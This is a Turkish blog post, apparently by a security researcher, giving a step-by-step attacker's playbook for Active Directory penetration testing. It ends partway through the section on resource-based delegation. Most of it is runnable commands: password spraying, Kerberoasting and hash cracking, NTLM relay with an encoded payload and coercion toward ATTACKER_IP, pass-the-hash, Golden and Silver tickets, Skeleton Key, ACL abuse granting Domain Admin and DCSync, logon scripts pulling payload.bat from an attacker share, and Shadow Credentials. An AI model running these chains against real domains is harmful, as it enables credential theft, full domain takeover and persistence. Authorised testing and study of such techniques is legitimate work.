Active Directory Güvenlik Testi: Saldırganın Gözünden Kapsamlı Rehber | Tağmaç - root@Tagoletta:~#
Contents

Active Directory Güvenlik Testi: Saldırganın Gözünden Kapsamlı Rehber

Mon Jun 29 2026 · 27 min read

Category: Security Research

# Active-Directory# Kerberos# Exploit# Attack-Chain# Windows

Giriş: Neden Active Directory Her Zaman Birincil Hedef?

Active Directory (AD), Microsoft'un kurumsal kimlik ve erişim yönetimi çözümüdür. Fortune 500 şirketlerinin %90'ından fazlası, devlet kurumları ve eğitim kurumları AD tabanlı altyapı üzerine kuruludur. Tek bir Domain Controller (DC) ele geçirildiğinde tüm domain kaynakları — kullanıcı hesapları, sunucular, dosya paylaşımları, VPN sistemleri, e-posta altyapısı — saldırganın etkisine girer.

Bu rehber, yetkili penetrasyon testi bağlamında bir AD ortamını saldırgan perspektifinden nasıl değerlendireceğinizi ele alır. Enumeration'dan DCSync'e, sertifika servislerinden trust saldırılarına kadar her adım, gerçek komutlar ve araçlarla gösterilmiştir.

Etik Not: Bu kılavuzdaki teknikler yalnızca yasal izin alınmış ortamlarda (penetrasyon testi, CTF, kişisel lab) kullanılmalıdır. İzinsiz sistemlere uygulanması hukuki sonuçlar doğurur.


Lab Ortamı ve Araç Seti

Testlere başlamadan önce ortamı ve araçları hazırlamak gerekir.

Saldırı Platformu (Kali Linux / Parrot OS):

# Temel araç seti kurulumu
sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit  # PowerView
git clone https://github.com/GhostPack/Rubeus             # Rubeus (derleme gerekli)
git clone https://github.com/Sw4mpf0x/PowerMad            # PowerMad (makine hesabı oluşturma)
git clone https://github.com/ly4k/Certipy                 # ADCS saldırıları
git clone https://github.com/eladshamir/Whisker            # Shadow Credentials

Temel Araçlar Tablosu:

Araç Platform Kullanım Alanı
BloodHound + SharpHound Linux / Windows Attack path enumeration
PowerView (PowerSploit) Windows PS AD object sorguları
Rubeus Windows Kerberos ticket işlemleri
Mimikatz Windows Hash dump, ticket inject
Impacket suite Linux DCSync, secretsdump, relay
CrackMapExec (CME) Linux SMB/WinRM/LDAP tarama
Certipy Linux ADCS (ESC1-ESC8)
Whisker / pywhisker Win / Linux Shadow Credentials
PowerMad Windows PS Machine account oluşturma
Responder Linux NTLM hash yakalama
PetitPotam Linux NTLM coercion

Bölüm 1: Keşif ve Numaralandırma (Enumeration)

Numaralandırma, bir AD testinin en kritik aşamasıdır. Yanlış bir numaralandırma, gerçek attack path'lerin gözden kaçmasına neden olur.

1.1 Kimlik Doğrulamasız (Unauthenticated) Numaralandırma

İlk adımda, hiçbir credential olmadan ne kadar bilgiye ulaşabileceğimizi test ederiz.

# LDAP Anonymous Bind — DC keşfi ve base DN tespiti
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)" namingContexts

# Eğer anonymous bind açıksa: DC=corp,DC=local altını listele
ldapsearch -x -H ldap://10.10.10.10 -b "DC=corp,DC=local" "(objectclass=user)" sAMAccountName

# Enum4linux-ng — kapsamlı SMB/RPC/LDAP numaralandırma
enum4linux-ng -A 10.10.10.10

# CrackMapExec — null session testi
crackmapexec smb 10.10.10.10 -u '' -p ''
crackmapexec smb 10.10.10.10 -u 'guest' -p ''

# Nmap LDAP scriptleri
nmap -p 389,636 --script ldap-rootdse,ldap-search --script-args ldap.base='"DC=corp,DC=local"' 10.10.10.10

# NetBIOS ve SMB keşfi
nbtscan 10.10.10.0/24
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

Null session başarılı olursa:

  • Domain adı, DC hostnames
  • NetBIOS/FQDN bilgisi
  • Paylaşılan klasörler (SYSVOL, NETLOGON)
  • Kullanıcı listesi (RID bruteforce ile)

1.2 Kimlik Doğrulamalı (Authenticated) Numaralandırma

Herhangi bir domain hesabı (hatta düşük yetkili) ile çok daha fazla bilgiye ulaşılır.

# PowerView — temel domain bilgisi
Import-Module .\PowerView.ps1
Get-Domain
Get-DomainController
Get-DomainPolicy

# Kullanıcı numaralandırma
Get-DomainUser | select samaccountname, description, memberof, useraccountcontrol, lastlogondate, passwordlastset, admincount
Get-DomainUser -Properties * | Where-Object {$_.Description -ne $null} | select samaccountname, description

# SPN'li kullanıcılar (Kerberoasting adayları)
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes

# DONT_REQUIRE_PREAUTH kullanıcıları (AS-REP Roasting adayları)
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname

# Grup numaralandırma
Get-DomainGroup | select name, description, memberof
Get-DomainGroupMember "Domain Admins" -Recurse

# Bilgisayar numaralandırma
Get-DomainComputer | select name, operatingsystem, dnshostname, ms-mcs-admpwd

# Paylaşım tarama
Find-DomainShare -Verbose
Invoke-ShareFinder -ExcludeStandard -Verbose

# LAPS okuma (AllExtendedRights veya LAPS okuma hakkı gerekli)
Get-DomainComputer | Where-Object {$_."ms-mcs-admpwdexpirationtime" -ne $null} | select name, "ms-mcs-admpwd"
# Impacket ile LDAP numaralandırma
python3 GetADUsers.py corp.local/jdoe:Password123 -all

# CrackMapExec ile kapsamlı tarama
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --users
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --groups
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --shares
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --sessions
crackmapexec ldap 10.10.10.10 -u jdoe -p 'Password123' --kdcHost 10.10.10.10 -M get-desc-users

# ldapsearch ile detaylı sorgular
ldapsearch -x -H ldap://10.10.10.10 -D "[email protected]" -w 'Password123' \
  -b "DC=corp,DC=local" "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes

1.3 BloodHound ile Saldırı Yolu Haritalama

BloodHound, AD nesneleri arasındaki ilişkileri graf veritabanında (Neo4j) depolar ve attack path analizi için en güçlü araçtır.

# SharpHound ile veri toplama (Windows)
.\SharpHound.exe -c All --zipfilename bloodhound_output.zip
.\SharpHound.exe -c DCOnly      # sadece DC sorguları (daha hızlı)
.\SharpHound.exe -c Session     # aktif oturumlar
.\SharpHound.exe -c LoggedOn    # oturum açmış kullanıcılar (admin gerekli)
# BloodHound.py ile Linux'tan uzak toplama
python3 bloodhound.py -u jdoe -p 'Password123' -d corp.local -dc dc01.corp.local -c all --zip

BloodHound'da kritik Cypher sorguları:

// Domain Admin'e en kısa yol
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p

// Kerberoastable hesaplar
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames

// AS-REP Roastable hesaplar
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name

// Unconstrained Delegation bilgisayarları
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name

// High-value hedef üzerinde yazma hakkı olan gruplar
MATCH (g:Group)-[:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]->(n:Computer {highvalue:true}) RETURN g.name, n.name

// AdminTo ilişkileri (local admin)
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name

// Tüm DCSync haklarını listele
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN n.name, d.name


Bölüm 2: Kimlik Bilgisi Saldırıları

2.1 Password Spraying

Brute force yerine tek şifreyi tüm kullanıcılarda deneriz — hesap kilitleme politikasını aşmak için.

# Kerbrute (Kerberos pre-auth üzerinden — log bırakır ama domain trafiği gerektirir)
./kerbrute passwordspray -d corp.local users.txt 'Winter2024!'
./kerbrute userenum -d corp.local wordlist.txt  # Önce geçerli kullanıcıları bul

# CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Sifre2024!' --continue-on-success
crackmapexec smb 10.10.10.10 -u users.txt -p 'Sifre2024!' --no-bruteforce

# Spray.ps1 (Windows)
Invoke-SprayEmptyPassword -UserList users.txt -Domain corp.local

Kritik: Spray öncesi Get-DomainPolicy ile lockoutThreshold değerini kontrol edin. Lockout'tan en az 2 deneme düşük kalın ve her deneme arasında 30+ dakika bekleyin.

2.2 AS-REP Roasting

Nedir? Normal Kerberos'ta istemci, AS-REQ gönderirken kullanıcının NTLM hash'i ile şifrelenmiş bir timestamp ekler (pre-authentication). Bu timestamp KDC'nin kullanıcıyı doğrulamasını sağlar. Ancak UserAccountControl attribute'undaki DONT_REQUIRE_PREAUTH flag'i (0x400000 = UF_DONT_REQUIRE_PREAUTH) aktifse, KDC bu doğrulamayı atlar ve herkes o kullanıcı için AS-REP hash'i talep edebilir. Bu hash çevrimdışı kırılabilir.

Tespit: LDAP filter: (userAccountControl:1.2.840.113556.1.4.803:=4194304)

# PowerView ile tespit
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname, useraccountcontrol

# Rubeus ile hash toplama (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat
Rubeus.exe asreproast /user:svc_backup /nowrap   # Belirli kullanıcı için

# Belirli bir şifreleme türü zorlamak (AES256 yerine RC4 — daha hızlı kırılır)
Rubeus.exe asreproast /nowrap /format:hashcat /rc4opsec
# Impacket GetNPUsers.py (Linux'tan)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -outputfile asrep_hashes.txt
python3 GetNPUsers.py corp.local/jdoe:Password123 -request -format hashcat -outputfile asrep_hashes.txt

# Hashcat ile kırma
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

msDS-SupportedEncryptionTypes ile ilişki:

Eğer hesabın msDS-SupportedEncryptionTypes değeri 0x17 (RC4_HMAC_MD5 + diğerleri) veya 0x04 (yalnızca RC4) ise, AS-REP hash'i RC4 ile şifrelenir — daha hızlı kırılır. Modern ortamlarda AES256 (0x18) tercih edilir ve daha uzun sürer.

# msDS-SupportedEncryptionTypes = 0 → RC4 default (eski domain)
# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4
# msDS-SupportedEncryptionTypes = 8 → yalnızca AES128
# msDS-SupportedEncryptionTypes = 16 → yalnızca AES256
# msDS-SupportedEncryptionTypes = 28 → RC4 + AES128 + AES256

2.3 Kerberoasting

Nedir? Herhangi bir kimlik doğrulanmış domain kullanıcısı, servicePrincipalName (SPN) attribute'u olan herhangi bir hesap için TGS (Ticket Granting Service) talep edebilir. Bu bilet, ilgili hizmet hesabının NTLM hash'i ile şifrelenir. Saldırgan bileti alır ve çevrimdışı kırar.

Önemli Attribute'lar:

  • servicePrincipalName — hangi SPN'lerin kayıtlı olduğu
  • msDS-SupportedEncryptionTypes — şifreleme türü (RC4 = hızlı kırma, AES256 = yavaş)
# PowerView ile SPN'li hesapları bul
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes, admincount, memberof

# Rubeus (Windows) — tüm SPN'li hesaplar için TGS iste
Rubeus.exe kerberoast /nowrap
Rubeus.exe kerberoast /nowrap /rc4opsec         # RC4 zorla (eski uyumluluk modu)
Rubeus.exe kerberoast /user:svc_sql /nowrap      # Belirli kullanıcı
Rubeus.exe kerberoast /tgtdeleg /nowrap          # TGT delegasyonu ile (noiseless)
# Impacket GetUserSPNs.py (Linux'tan)
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -target-domain corp.local

# Hashcat ile kırma
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/d3ad0ne.rule

# AES256 Kerberoast — farklı hashcat modu
hashcat -m 19700 kerberoast_aes.txt wordlist.txt

RC4 Şifreleme Zorlaması (msDS-SupportedEncryptionTypes Manipulation):

GenericWrite hakkı varsa, hedef kullanıcının msDS-SupportedEncryptionTypes attribute'unu RC4 olarak ayarlayarak daha hızlı kırılacak bilet alabilirsiniz:

# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4 (eski)
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
# Kerberoast → RC4 şifrelenmiş bilet alınır → daha hızlı kırma
Rubeus.exe kerberoast /user:svc_sql /nowrap
# Temizlik: eski değere dön
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28}

2.4 NTLM Hash Yakalama ve Relay

# Responder — ağda NTLM challenge-response yakala
sudo python3 Responder.py -I eth0 -wrf
# Yakalanan hash → /usr/share/responder/logs/
hashcat -m 5600 ntlmv2_hashes.txt wordlist.txt   # NetNTLMv2

# NTLM Relay — hash'i relay ederek doğrudan erişim
# SMB signing disabled olan hedeflere relay
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc BASE64PAYLOAD"
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -i   # interactive shell

# Coercion için PetitPotam (DC'yi bize auth etmeye zorla)
python3 PetitPotam.py ATTACKER_IP DC01_IP

Bölüm 3: Lateral Movement

Bir makine ele geçirildikten sonra ağda yayılım başlar.

3.1 Pass-the-Hash (PtH)

# Impacket araçları ile PtH
python3 psexec.py -hashes :NT_HASH [email protected]
python3 wmiexec.py -hashes :NT_HASH [email protected]
python3 smbexec.py -hashes :NT_HASH [email protected]
python3 atexec.py -hashes :NT_HASH [email protected] "whoami"

# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H NT_HASH --sam
crackmapexec winrm 10.10.10.10 -u administrator -H NT_HASH -x "whoami"

# Evil-WinRM
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH
# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:cmd.exe

3.2 Overpass-the-Hash (OPtH)

NT hash → Kerberos TGT. NT hash'i bildiğinizde WinRM veya NTLM devre dışı olan hedeflere Kerberos ile giriş yapabilirsiniz.

# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:powershell.exe
# Yeni PowerShell penceresinde:
dir \\DC01\C$  # TGT otomatik alınır

# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt   # TGT al ve enjekte et
Rubeus.exe asktgt /user:administrator /aes256:AES_HASH /ptt

3.3 Pass-the-Ticket (PtT)

# Bellekteki TGT'leri dump et
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export

# TGT'yi başka bir konuma taşı
Rubeus.exe ptt /ticket:BASE64_TICKET
Mimikatz: kerberos::ptt ticket.kirbi

# Tüm bellekteki biletleri listele
klist
Rubeus.exe klist

3.4 Uzaktan Kod Çalıştırma

# WinRM (port 5985/5986)
evil-winrm -i 10.10.10.10 -u jdoe -p 'Password123'

# WMI
python3 wmiexec.py corp.local/administrator:'Password123'@10.10.10.10

# SMB + PsExec (servis oluşturur — gürültülü)
python3 psexec.py corp.local/administrator:'Password123'@10.10.10.10

# DCOM
python3 dcomexec.py corp.local/administrator:'Password123'@10.10.10.10

Bölüm 4: ACL / ACE Tabanlı Ayrıcalık Yükseltme ve Attribute Manipülasyonu

Bu bölüm, AD testlerinin en nüanslı ve sık gözden kaçan alanıdır. Active Directory'de her nesne (kullanıcı, grup, bilgisayar, OU, GPO, domain nesnesi) bir DACL (Discretionary Access Control List) içerir. DACL, o nesne üzerinde hangi güvenilirin (trustee) ne tür erişime sahip olduğunu belirleyen ACE (Access Control Entry) listesidir.

Bir saldırgan, düşük yetkili bir hesapta belirli ACE'leri tespit ederse, bu ACE'leri kullanarak üst yetki elde edebilir ve kritik AD attribute'larını manipüle edebilir.

4.1 Tehlikeli ACE Türleri

ACE Nesne Türü Saldırı Etkisi
GenericAll User, Group, Computer, GPO Tam kontrol — tüm alt saldırılar mümkün
GenericWrite User, Computer Belirli attribute'ları yaz
WriteDACL Herhangi DACL'a yeni ACE ekle → kendine izin ver
WriteOwner Herhangi Nesnenin sahibini değiştir → WriteDACL al
AllExtendedRights User, Computer ForceChangePassword, LAPS oku
ForceChangePassword User Eski şifre bilmeden şifre değiştir
AddMember Group Gruba üye ekle
Self Group Kendini gruba ekle
WriteProperty (member) Group Grup üyeliğini yaz
ReadProperty (ms-Mcs-AdmPwd) Computer LAPS şifresini oku
DS-Replication-Get-Changes + All Domain DCSync hakkı
# Bir kullanıcı üzerindeki tüm ACE'leri listele
Get-DomainObjectAcl -Identity jdoe -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite|AllExtendedRights"
}

# Kendi hesabımızın sahip olduğu tüm ilginç ACE'leri bul
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match "jdoe|IT_Helpdesk"
}

# BloodHound ile — owned olarak işaretli kullanıcıdan DA'ya outbound edges
# Queries → Shortest Paths from Owned Principals

4.2 GenericAll — Tam Kontrol

User üzerinde GenericAll:

# Şifre değiştirme (ForceChangePassword)
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

# SPN set edip Kerberoast (servicePrincipalName attribute)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/service.corp.local'}
Rubeus.exe kerberoast /user:target_user /nowrap
Set-DomainObject -Identity target_user -Clear serviceprincipalname  # temizlik

# Shadow Credentials (aşağıda detaylı)
Whisker.exe add /target:target_user

# Hesap devre dışı bırakma / etkinleştirme (userAccountControl)
Set-DomainObject -Identity target_user -Set @{useraccountcontrol=512}  # aktif et

Group üzerinde GenericAll:

# Domain Admins grubuna üye ekle
Add-DomainGroupMember -Identity "Domain Admins" -Members jdoe
net group "Domain Admins" jdoe /add /domain

Computer üzerinde GenericAll:

# RBCD için msDS-AllowedToActOnBehalfOfOtherIdentity attribute'unu yaz
# (Aşağıda Bölüm 6'da detaylı)

4.3 GenericWrite — Seçici Yazma

# logonScript attribute'unu değiştir → kullanıcı login'de script çalışır
Set-DomainObject -Identity target_user -Set @{scriptpath='\\attacker\share\payload.bat'}

# SPN manipulation (Kerberoasting için)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fakesvc.corp.local'}

# Computer üzerinde GenericWrite → RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}

4.4 WriteDACL — DACL Manipülasyonu

# Domain nesnesi üzerinde WriteDACL varsa → DCSync hakları ekle
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe `
  -Rights DCSync -Verbose

# Belirli hakları ayrı ayrı ekle
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe `
  -Rights All -Verbose

# Kullanıcı üzerinde WriteDACL → kendine GenericAll ekle
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe `
  -Rights All -Verbose

4.5 WriteOwner — Sahiplik Alma

# Nesnenin sahibini kendimiz yapıyoruz
Set-DomainObjectOwner -Identity target_user -OwnerIdentity jdoe

# Sahibi olarak WriteDACL ekleyebiliriz
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe -Rights All

4.6 Shadow Credentials — msDS-KeyCredentialLink Attribute

Shadow Credentials, 2021 yılında Elad Shamir tarafından keşfedilen bir tekniktir. Hedef kullanıcı veya bilgisayar üzerinde GenericAll ya da GenericWrite hakkınız varsa, msDS-KeyCredentialLink attribute'una kendi sertifikanızın hash'ini ekleyebilirsiniz. Bu, Windows Hello for Business (WHfB) altyapısını kullanır; PKINIT ile hedef hesabın TGT'sini alabilir ve oradan NT hash'e ulaşırsınız — şifreyi bilmeden.

# Windows — Whisker
Whisker.exe add /target:svc_sql
# Çıktı: Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:"" /domain:corp.local /ptt

# Rubeus ile TGT al
Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:"random" /domain:corp.local /ptt

# NT hash al (U2U PKINIT)
Rubeus.exe getnthash /ticket:BASE64_TGT /certificate:BASE64_CERT /password:"random"
# Linux — pywhisker
python3 pywhisker.py -d corp.local -u jdoe -p 'Password123' --target svc_sql --action add

# gettgtpkinit.py ile TGT al
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache

# NT hash al
python3 getnthash.py corp.local/svc_sql -key 'AES_SESSION_KEY'

Neden Güçlü? Şifre değiştirmeden çalışır. Antivirus/EDR tetiklemez. Kerberos kimlik doğrulama akışı normaldir. Kalıcılık sağlar (attribute silinmeden çalışmaya devam eder).

Silmek için: Whisker.exe remove /target:svc_sql /deviceid:GUID

4.7 adminCount Attribute ve AdminSDHolder

AD'de belirli yüksek yetkili grupların (Domain Admins, Schema Admins, Enterprise Admins, Backup Operators vb.) üyeleri için adminCount=1 attribute'u otomatik olarak set edilir. Bu hesaplar, AdminSDHolder nesnesiyle korunur.

# adminCount=1 olan tüm hesaplar
Get-DomainUser -AdminCount | select samaccountname, admincount, memberof
Get-DomainGroup -AdminCount | select name, admincount

# AdminSDHolder ACL'si — bu nesneye yazma = tüm korunan hesaplara kalıcı erişim
Get-DomainObjectAcl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -ResolveGUIDs

# AdminSDHolder'a GenericAll ekle → saatlik SDProp çalışması ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
  -PrincipalIdentity jdoe -Rights All

# Manuel SDProp tetikleme (60dk beklemeden)
Invoke-ADSDPropagation  # veya regsvrtools

Savunma: Protected Users grubundaki hesaplar SDProp'tan etkilenmez ama AdminSDHolder ACL'si hâlâ tehlikelidir.

4.8 SPN Manipülasyonu (servicePrincipalName)

GenericWrite hakkınız varsa, herhangi bir kullanıcıya SPN ekleyebilirsiniz. Bu, onu Kerberoasting hedefine dönüştürür.

# SPN ekle
Set-DomainObject -Identity jdoe -Set @{serviceprincipalname='http/fake.corp.local'}

# SPN sil (test sonrası temizlik)
Set-DomainObject -Identity jdoe -Clear serviceprincipalname

4.9 logonScript ve scriptPath Attribute Abuse

# GenericWrite → logon script belirle → kullanıcı login'de çalışır
Set-ADUser -Identity target_user -ScriptPath '\\attacker_ip\share\payload.bat'
Set-DomainObject -Identity target_user -Set @{scriptpath='\\10.10.10.50\share\payload.bat'}

Bölüm 5: Kerberos Bilet Saldırıları

5.1 Golden Ticket

Domain Controller üzerinde krbtgt hash'i ele geçirildiğinde, saldırgan herhangi bir kullanıcı için sahte TGT (Golden Ticket) oluşturabilir. KDC bu bileti doğrulayamaz çünkü kendi krbtgt hash'i ile imzalanmıştır.

Gereksinimler:

  • krbtgt NTLM hash (DCSync ile alınır)
  • Domain SID (whoami /user veya Get-DomainSID)
  • Hedef kullanıcı adı (var olmayan da olabilir)
  • Domain FQDN
# Domain SID öğren
Get-DomainSID   # PowerView
whoami /user    # SID'in S-1-5-21-XXXX-YYYY-ZZZZ-500 kısmını kullan

# Mimikatz — Golden Ticket oluştur ve belleğe enjekte et
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /ptt

# Rubeus — Golden Ticket oluştur
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt

# Dosyaya kaydet
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /outfile:golden.kirbi
Rubeus.exe ptt /ticket:golden.kirbi

Kalıcılık: krbtgt hash değişmediği sürece Golden Ticket geçerlidir. Sıfırlama sonrası bile eski hash'le oluşturulmuş biletler ~20 dakika geçerli kalabilir. Tamamen temizlemek için krbtgt şifresi 2 kez değiştirilmelidir (zira eski hash yedekte tutulur).

5.2 Silver Ticket

Bir hizmet hesabının NTLM hash'ini bildiğinizde, o hizmet için sahte TGS (Silver Ticket) oluşturabilirsiniz. KDC'ye hiç dokunmaz — tespit edilmesi çok zordur.

# Mimikatz — Silver Ticket
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:fileserver.corp.local /service:cifs /rc4:SERVICE_HASH /ptt

# Rubeus — Silver Ticket
Rubeus.exe silver /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs/fileserver.corp.local /ptt

Yaygın SPN hedefleri:

  • cifs/DC01.corp.local — dosya paylaşımı erişimi
  • host/DC01.corp.local — WMI, scheduled task
  • rpcss/DC01.corp.local — WMI
  • ldap/DC01.corp.local — DCSync (krbtgt hash'i olmadan bile)
  • http/intranet.corp.local — web uygulaması

5.3 Diamond Ticket

Sahte TGT oluşturmak yerine, mevcut geçerli bir TGT'yi krbtgt key ile decrypt edip içini değiştirip tekrar şifreleriz. Tespit sistemleri için daha gerçekçi görünür.

Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowprivuser /ticket:BASE64_TGT /krbkey:AES256_KRBTGT /ptt

5.4 Skeleton Key

Domain Controller'a mimikatz ile Skeleton Key yüklenir. Bundan sonra tüm hesaplar için ek şifre olarak mimikatz çalışır. Reboot sonrası kaybolur.

# DC üzerinde (Remote kod çalıştırma gerekli)
privilege::debug
misc::skeleton
# Artık corp.local\administrator:mimikatz ile giriş yapılabilir

Bölüm 6: Delegation Saldırıları

Kerberos Delegation, bir kullanıcının Kerberos biletinin bir hizmet tarafından başka bir hizmete iletilmesine izin verir. Üç türü vardır ve her biri farklı saldırı yüzeyi sunar.

6.1 Unconstrained Delegation

Attribute: TrustedForDelegation = TRUE (UserAccountControl bit 0x80000)

Kullanıcı bu bilgisayardaki bir hizmete authenticate olduğunda, o kullanıcının TGT'si bellekte saklanır. Saldırgan makineyi ele geçirirse bellekteki tüm TGT'leri dump edebilir.

# Unconstrained delegation aktif bilgisayarları bul (DC'ler hariç)
Get-DomainComputer -Unconstrained | select name, dnshostname, operatingsystem

# Bellekteki TGT'leri dump et (local admin gerekli)
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export

# DC TGT'sini çalmak için coerce saldırısı + monitor
Rubeus.exe monitor /interval:5 /nowrap   # bir pencerede bekle

# Başka pencerede: DC'yi bize auth etmeye zorla
python3 PetitPotam.py WEBSERVER01_IP DC01_IP   # MS-EFSR
# veya
python3 SpoolSample.py DC01 WEBSERVER01         # MS-RPRN Printer Bug

# DC TGT geldi → inject et
Rubeus.exe ptt /ticket:BASE64_DC_TGT

# DCSync çalıştır
python3 secretsdump.py -k -no-pass DC01.corp.local

6.2 Constrained Delegation

Attribute: msDS-AllowedToDelegateTo — belirli SPN listesi

Hizmet hesabı, yalnızca bu listedeki SPN'lere kullanıcı adına erişebilir. Protocol transition (S4U2Self) aktifse, hesap herhangi bir kullanıcı adına TGS alabilir.

# Constrained delegation ile hesapları bul
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Impacket findDelegation.py
python3 findDelegation.py corp.local/jdoe:Password123

# Rubeus — S4U2Self + S4U2Proxy
Rubeus.exe s4u /user:svc_web /rc4:HASH_OF_SVC_WEB /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
# veya AES hash ile
Rubeus.exe s4u /user:svc_web /aes256:AES_HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt

# Erişim testi
dir \\DC01.corp.local\C$

6.3 Resource-Based Constrained Delegation (RBCD)

Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity — hedef bilgisayar üzerinde set edilir

RBCD'nin anahtarı: kaynağın (hedef bilgisayar) üzerinde GenericWrite veya WriteDACL hakkınız olması yeterlidir. Saldırgan bir makine hesabı oluşturur, hedef bilgisayarın bu attribute'una kendi makine hesabını yazar ve S4U ile yönetici bileti alır.

Ön Koşullar:

  • msDS-MachineAccountQuota ≥ 1 (default: 10, domain kullanıcıları makine hesabı oluşturabilir)
  • Hedef bilgisayar üzerinde GenericWrite / GenericAll / WriteDACL
# 1. Makine hesabı kota kontrolü
Get-DomainObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota

# 2. Makine hesabı oluştur (PowerMad)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)

# 3. Makine hesabının SID'ini al
$machineSid = (Get-DomainComputer FAKEMACHINE).objectsid

# 4. Hedef bilgisayarda msDS-AllowedToActOnBehalfOfOtherIdentity set et
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$machineSid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}

# Doğrulama
Get-DomainComputer TARGET_COMPUTER -Properties msds-allowedtoactonbehalfofotheridentity

